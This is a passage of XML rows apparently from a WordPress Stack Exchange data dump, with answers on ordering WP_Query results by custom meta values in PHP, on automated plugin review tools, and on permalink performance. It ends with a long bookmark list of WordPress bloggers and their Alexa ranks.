  <row Id="4117" PostTypeId="2" ParentId="4087" CreationDate="2010-11-15T22:35:56.477" Score="4" ViewCount="" Body="&lt;p&gt;Typically in WordPress you would never go use database calls/SQL Calls (your second question)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(on your first question: how to add multiple metadata values (and do the wildest things with them)) use kind the following for additional entries in your Query, the join and orderby are used here for other possible relations between meta keys. In the example you see that I order on the A*B values of the keys. Just copy and paste and adjust to your liking. (note that apart from join and orderby there are more options to play with in case of even more advanced scenarios).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; global $edl_global_join;&#xA; global $edl_global_orderby;&#xA; global $wp_query;&#xA;&#xA; function edl_posts_join ($join) {&#xA;   global $edl_global_join;&#xA;   if ($edl_global_join) $join .= &quot; $edl_global_join&quot;;&#xA;   return $join;&#xA; }&#xA;&#xA; function edl_posts_orderby ($orderby) {&#xA;  global $edl_global_orderby;&#xA;  if ($edl_global_orderby) $orderby = $edl_global_orderby;&#xA;  return $orderby;&#xA; }&#xA;&#xA; add_filter('posts_join','edl_posts_join');&#xA; add_filter('posts_orderby','edl_posts_orderby');&#xA;&#xA; $edl_global_join = &#xA; &quot;JOIN $wpdb-&amp;gt;postmeta meta1 ON (meta1.post_id = $wpdb-&amp;gt;posts.ID AND meta1.meta_key = 'TOPSPEED')&quot; .&#xA; &quot;JOIN $wpdb-&amp;gt;postmeta meta2 ON (meta2.post_id = $wpdb-&amp;gt;posts.ID AND meta2.meta_key = 'ANOTHER_THING')&quot;;&#xA; $edl_global_orderby = &quot; meta1.meta_value * meta2.meta_value DESC&quot;;&#xA;&#xA; $wp_query = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to then show certain fields based on calculations of the meta data you can use e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $car-&amp;gt;display_meta_size();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is actually the following method in that class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //&#xA;// specific display for size overviews&#xA;//&#xA;function display_meta_size()&#xA;{&#xA;    $this-&amp;gt;mMetaData-&amp;gt;GetValuesFromWP();&#xA;    ?&amp;gt;&#xA;    &amp;lt;table width=&quot;100%&quot;&amp;gt;&#xA;    &amp;lt;?php   &#xA;    $this-&amp;gt;mMetaData-&amp;gt;ShowIcon();&#xA;    $this-&amp;gt;mMetaData-&amp;gt;ShowSize();&#xA;    ?&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;?php&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the method GetValuesFromWP() is from the wp metadata class :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get the values stored in WordPress&#xA;function GetValuesFromWP() {&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;&#xA;    foreach ($this-&amp;gt;mArrMetaDataFields as $str_meta_data_field)&#xA;    {&#xA;        $this-&amp;gt;MetaDataWpValues[$str_meta_data_field] = &#xA;                    $custom[$str_meta_data_field][0];&#xA;    }&#xA;    $this-&amp;gt;MetaDataWpValues['SPECIAL'] = $custom['SPECIAL'][0];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(so in the join function totally above do the stuff you want).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see also: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1107/getting-custom-field-data-from-a-page-hierarchy/1118#1118&quot;&gt;Getting Custom Field data from a page hierarchy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-15T22:35:56.477" />
  <row Id="4118" PostTypeId="2" ParentId="4100" CreationDate="2010-11-15T22:43:07.643" Score="0" ViewCount="" Body="&lt;p&gt;Also check here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3749/wordpress-prompt-checklist-before-publish&quot;&gt;WordPress prompt checklist before publish?&lt;/a&gt; &quot;WordPress prompt checklist before publish?&quot;&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-15T22:43:07.643" />
  <row Id="4119" PostTypeId="2" ParentId="4079" CreationDate="2010-11-15T22:54:09.137" Score="0" ViewCount="" Body="&lt;p&gt;It just made me think of Appscan: &lt;a href=&quot;http://www01.ibm.com/software/rational/products/appscan/source/&quot; rel=&quot;nofollow&quot;&gt;http://www01.ibm.com/software/rational/products/appscan/source/&lt;/a&gt; ; &lt;a href=&quot;http://www-01.ibm.com/software/rational/products/appscan/source/features/&quot; rel=&quot;nofollow&quot;&gt;http://www-01.ibm.com/software/rational/products/appscan/source/features/&lt;/a&gt; trial of light version: &lt;a href=&quot;http://www-01.ibm.com/software/awdtools/appscan/express/&quot; rel=&quot;nofollow&quot;&gt;http://www-01.ibm.com/software/awdtools/appscan/express/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can do php and one can put extra rules in it to check for things. In that way a part can be automated (like some best practices as in the answer from toscho), it can check for security, coding standards, optimizations etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just saying: if a tool can check for 80% then the 20% checks for the manual checks for a guru would be less. It would also help to generate compliance reports for use of a plugin within a large company that demands these kinds of things around additional code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We automate things for other people so why not for ourself?&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-15T22:59:43.283" LastActivityDate="2010-11-15T22:59:43.283" />
  <row Id="4120" PostTypeId="2" ParentId="3431" CreationDate="2010-11-15T23:21:44.940" Score="1" ViewCount="" Body="&lt;p&gt;Just for the workflow QA: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is: NO this is not a good permalink structure concerning performance.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-15T23:21:44.940" />
  <row Id="4121" PostTypeId="1" CreationDate="2010-11-16T00:29:36.813" Score="4" ViewCount="294" Body="&lt;p&gt;I am looking for &lt;strong&gt;the&lt;/strong&gt; essential weblogs / references / sites to place in my bookmark collection / sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that add a) either a link to existing bookmark collections b) additional sites that need to be here? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sorting will be done based on alexa ranking to make the sorting honest&lt;/li&gt;&#xA;&lt;li&gt;if a person works at automattic place that tag behind&lt;/li&gt;&#xA;&lt;li&gt;if he has a nickname / nickname on here / different site name place it behind it&lt;/li&gt;&#xA;&lt;li&gt;if he/she has a profile on here place it behind it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;People&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=perishablepress.com&quot; alt=&quot;Jeff Star&quot;&gt; &lt;a href=&quot;http://perishablepress.com/&quot; rel=&quot;nofollow&quot;&gt;Jeff Star&lt;/a&gt; perishablepress &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 110&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=yoast.com&quot; alt=&quot;Joost de Valk&quot;&gt; &lt;a href=&quot;http://yoast.com/&quot; rel=&quot;nofollow&quot;&gt;Joost de Valk&lt;/a&gt; yoast &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 3,415&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.prelovac.com&quot; alt=&quot;Vladimir Prelovac&quot;&gt; &lt;a href=&quot;http://www.prelovac.com/vladimir/&quot; rel=&quot;nofollow&quot;&gt;Vladimir Prelovac&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 5,683&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=weblogtoolscollection.com&quot; alt=&quot;Mark Ghosh&quot;&gt; &lt;a href=&quot;http://weblogtoolscollection.com/&quot; rel=&quot;nofollow&quot;&gt;Mark Ghosh&lt;/a&gt; weblogtoolscollection &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 7,443&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=lesterchan.net&quot; alt=&quot;Lester Chan&quot;&gt; &lt;a href=&quot;http://lesterchan.net/portfolio/programming/php/&quot; rel=&quot;nofollow&quot;&gt;Lester Chan&lt;/a&gt;  &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 9,687&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.catswhocode.com&quot; alt=&quot;Jean-Baptise Jung 1&quot;&gt; &lt;a href=&quot;http://www.catswhocode.com/blog/&quot; rel=&quot;nofollow&quot;&gt;Jean-Baptise Jung 1&lt;/a&gt; catswhocode &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 10,140&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=lorelle.wordpress.com&quot; alt=&quot;Lorelle VanFossen&quot;&gt; &lt;a href=&quot;http://lorelle.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Lorelle VanFossen&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 10,436&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wphacks.com&quot; alt=&quot;Kyle Eslick&quot;&gt; &lt;a href=&quot;http://wphacks.com/&quot; rel=&quot;nofollow&quot;&gt;Kyle Eslick&lt;/a&gt; wphacks &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 10,712&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.wprecipes.com&quot; alt=&quot;Jean-Baptiste Jung 2&quot;&gt; &lt;a href=&quot;http://www.wprecipes.com/&quot; rel=&quot;nofollow&quot;&gt;Jean-Baptiste Jung 2&lt;/a&gt; wprecipes &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 12,653&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=justintadlock.com&quot; alt=&quot;Justin Tadlock&quot;&gt; &lt;a href=&quot;http://justintadlock.com/&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 12,778&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.arnebrachhold.de&quot; alt=&quot;Arne Brachhold&quot;&gt; &lt;a href=&quot;http://www.arnebrachhold.de/&quot; rel=&quot;nofollow&quot;&gt;Arne Brachhold&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 16,058&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=ma.tt&quot; alt=&quot;Matt Mullenweg&quot;&gt; &lt;a href=&quot;http://ma.tt/&quot; rel=&quot;nofollow&quot;&gt;Matt Mullenweg&lt;/a&gt; Automattic &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 17,489&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=bueltge.de&quot; alt=&quot;Frank Bültge&quot;&gt; &lt;a href=&quot;http://bueltge.de/&quot; rel=&quot;nofollow&quot;&gt;Frank Bültge&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;bueltge&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/170/bueltge&quot;&gt;bueltge&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 18,969&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=urbangiraffe.com&quot; alt=&quot;John Godley&quot;&gt; &lt;a href=&quot;http://urbangiraffe.com/&quot; rel=&quot;nofollow&quot;&gt;John Godley&lt;/a&gt; Automattic, CodeWrangler &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 22,435&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=alexking.org&quot; alt=&quot;Alex King &quot;&gt; &lt;a href=&quot;http://alexking.org/&quot; rel=&quot;nofollow&quot;&gt;Alex King &lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 23,233&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.semiologic.com&quot; alt=&quot;Denis de Bernardy&quot;&gt; &lt;a href=&quot;http://www.semiologic.com/news/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Denis de Bernardy&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;denis&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/1208/denis&quot;&gt;denis&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 26,923&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=alexrabe.de&quot; alt=&quot;Alex.Rabe&quot;&gt; &lt;a href=&quot;http://alexrabe.de/&quot; rel=&quot;nofollow&quot;&gt;Alex.Rabe&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 26,929&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=ocaoimh.ie&quot; alt=&quot;Donncha O Caoimh&quot;&gt; &lt;a href=&quot;http://ocaoimh.ie/&quot; rel=&quot;nofollow&quot;&gt;Donncha O Caoimh&lt;/a&gt; Automattic &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 30,118&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=ottopress.com&quot; alt=&quot;Otto on WordPress&quot;&gt; &lt;a href=&quot;http://ottopress.com/&quot; rel=&quot;nofollow&quot;&gt;Otto on WordPress&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 31,446&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=planetozh.com&quot; alt=&quot;Ozh&quot;&gt; &lt;a href=&quot;http://planetozh.com/blog/tag/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Ozh&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 34,607&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=markjaquith.wordpress.com&quot; alt=&quot;Mark Jaquith&quot;&gt; &lt;a href=&quot;http://markjaquith.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Mark Jaquith&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 40,206&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=w-shadow.com&quot; alt=&quot;Janis Elsts&quot;&gt; &lt;a href=&quot;http://w-shadow.com/&quot; rel=&quot;nofollow&quot;&gt;Janis Elsts&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 40,836&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.binarymoon.co.uk&quot; alt=&quot;Ben Gillbanks&quot;&gt; &lt;a href=&quot;http://www.binarymoon.co.uk/&quot; rel=&quot;nofollow&quot;&gt;Ben Gillbanks&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 41,124&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=sw-guide.de&quot; alt=&quot;Michael Wohrer&quot;&gt; &lt;a href=&quot;http://sw-guide.de/category/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Michael Wohrer&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 47,352&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=blog.ftwr.co.uk&quot; alt=&quot;Peter Westwood&quot;&gt; &lt;a href=&quot;http://blog.ftwr.co.uk/&quot; rel=&quot;nofollow&quot;&gt;Peter Westwood&lt;/a&gt; Automattic &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 59,592&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.roytanck.com&quot; alt=&quot;Roy Tanck&quot;&gt; &lt;a href=&quot;http://www.roytanck.com/&quot; rel=&quot;nofollow&quot;&gt;Roy Tanck&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 50,660&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=kovshenin.com&quot; alt=&quot;Konstantin kovshenin&quot;&gt; &lt;a href=&quot;http://kovshenin.com/tag/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Konstantin kovshenin&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 51,739&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=blue-anvil.com&quot; alt=&quot;Mike Jolley&quot;&gt; &lt;a href=&quot;http://blue-anvil.com/&quot; rel=&quot;nofollow&quot;&gt;Mike Jolley&lt;/a&gt; blue-anvil &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 58,573&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=austinmatzko.com&quot; alt=&quot;Austin Matzko&quot;&gt; &lt;a href=&quot;http://austinmatzko.com/&quot; rel=&quot;nofollow&quot;&gt;Austin Matzko&lt;/a&gt; 58,518&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wpshout.com&quot; alt=&quot;Alex Denning&quot;&gt; &lt;a href=&quot;http://wpshout.com/&quot; rel=&quot;nofollow&quot;&gt;Alex Denning&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 61,879&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.viper007bond.com&quot; alt=&quot;Alex Mills&quot;&gt; &lt;a href=&quot;http://www.viper007bond.com/&quot; rel=&quot;nofollow&quot;&gt;Alex Mills&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;viper007bond&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/107/viper007bond&quot;&gt;viper007bond&lt;/a&gt; Automattic &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 68,506&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.dev4press.com&quot; alt=&quot;Milan Petrovic&quot;&gt; &lt;a href=&quot;http://www.dev4press.com/category/blog/&quot; rel=&quot;nofollow&quot;&gt;Milan Petrovic&lt;/a&gt; dev4press &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 68,973&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wpmututorials.com&quot; alt=&quot;Andrea Rennick&quot;&gt; &lt;a href=&quot;http://wpmututorials.com/&quot; rel=&quot;nofollow&quot;&gt;Andrea Rennick&lt;/a&gt; wpmututorials.com &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 77,103 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=dougal.gunters.org&quot; alt=&quot;Dougal Campbell&quot;&gt; &lt;a href=&quot;http://dougal.gunters.org/&quot; rel=&quot;nofollow&quot;&gt;Dougal Campbell&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt;108,573&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=ronaldheft.com&quot; alt=&quot;Ronald Heft&quot;&gt; &lt;a href=&quot;http://ronaldheft.com/&quot; rel=&quot;nofollow&quot;&gt;Ronald Heft&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=subscribe2.wordpress.com&quot; alt=&quot;Matthew Robinson&quot;&gt; &lt;a href=&quot;http://subscribe2.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Matthew Robinson&lt;/a&gt; subscribe2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=scribu.net&quot; alt=&quot;Scribu&quot;&gt; &lt;a href=&quot;http://scribu.net/&quot; rel=&quot;nofollow&quot;&gt;Scribu&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;scribu&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/205/scribu&quot;&gt;scribu&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 114,481 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=ideasilo.wordpress.com&quot; alt=&quot;#00101783#Takayuki Miyoshi&quot;&gt; &lt;a href=&quot;http://ideasilo.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;#00101783#Takayuki Miyoshi&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.642weather.com&quot; alt=&quot;Mike Challis&quot;&gt; &lt;a href=&quot;http://www.642weather.com/weather/scripts.php&quot; rel=&quot;nofollow&quot;&gt;Mike Challis&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=geekyweekly.com&quot; alt=&quot;Andrew Charlton&quot;&gt; &lt;a href=&quot;http://geekyweekly.com/tag/wordpress&quot; rel=&quot;nofollow&quot;&gt;Andrew Charlton&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=toscho.de&quot; alt=&quot;Thomas Scholz&quot;&gt; &lt;a href=&quot;http://toscho.de/thema/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Thomas Scholz&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;toscho&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/73/toscho&quot;&gt;toscho&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=josephscott.org&quot; alt=&quot;Joseph Scott&quot;&gt; &lt;a href=&quot;http://josephscott.org/&quot; rel=&quot;nofollow&quot;&gt;Joseph Scott&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.mutube.com&quot; alt=&quot;Martin Fitzpatrick&quot;&gt; &lt;a href=&quot;http://www.mutube.com/&quot; rel=&quot;nofollow&quot;&gt;Martin Fitzpatrick&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.rarst.net&quot; alt=&quot;Andrey Savchenko&quot;&gt; &lt;a href=&quot;http://www.rarst.net/tag/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Andrey Savchenko&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;rarst&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/847/rarst&quot;&gt;rarst&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.herewithme.fr&quot; alt=&quot;Aumaury Balmer&quot;&gt; &lt;a href=&quot;http://www.herewithme.fr/&quot; rel=&quot;nofollow&quot;&gt;Aumaury Balmer&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=hakre.wordpress.com&quot; alt=&quot;Hakre&quot;&gt; &lt;a href=&quot;http://hakre.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Hakre&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;hakre&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/178/hakre&quot;&gt;hakre&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=xplus3.net&quot; alt=&quot;Jonathan Brinley&quot;&gt; &lt;a href=&quot;http://xplus3.net/&quot; rel=&quot;nofollow&quot;&gt;Jonathan Brinley&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=developersmind.com&quot; alt=&quot;Pete Mall&quot;&gt; &lt;a href=&quot;http://developersmind.com/&quot; rel=&quot;nofollow&quot;&gt;Pete Mall&lt;/a&gt; developersmind&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=andrewnacin.com&quot; alt=&quot;Andrew Nacin&quot;&gt; &lt;a href=&quot;http://andrewnacin.com/&quot; rel=&quot;nofollow&quot;&gt;Andrew Nacin&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=michaeltorbert.com&quot; alt=&quot;Michael Torbert&quot;&gt; &lt;a href=&quot;http://michaeltorbert.com/&quot; rel=&quot;nofollow&quot;&gt;Michael Torbert&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=blogwaffe.com&quot; alt=&quot;Michael Adams&quot;&gt; &lt;a href=&quot;http://blogwaffe.com/category/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Michael Adams&lt;/a&gt; Automattic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=mikeschinkel.com&quot; alt=&quot;Mike Schinkel&quot;&gt; &lt;a href=&quot;http://mikeschinkel.com/blog/tags/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Mike Schinkel&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;mikeschinkel&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/89/mikeschinkel&quot;&gt;mikeschinkel&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=dd32.id.au&quot; alt=&quot;Dion Hulse&quot;&gt; &lt;a href=&quot;http://dd32.id.au/&quot; rel=&quot;nofollow&quot;&gt;Dion Hulse&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=tipsforwordpress.com&quot; alt=&quot;Weston Deboer&quot;&gt; &lt;a href=&quot;http://tipsforwordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Weston Deboer&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.forsite.nu&quot; alt=&quot;Remkus de Vries&quot;&gt; &lt;a href=&quot;http://www.forsite.nu/blog/&quot; rel=&quot;nofollow&quot;&gt;Remkus de Vries&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=barry.wordpress.com&quot; alt=&quot;Barry Abrahamson&quot;&gt; &lt;a href=&quot;http://barry.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Barry Abrahamson&lt;/a&gt; 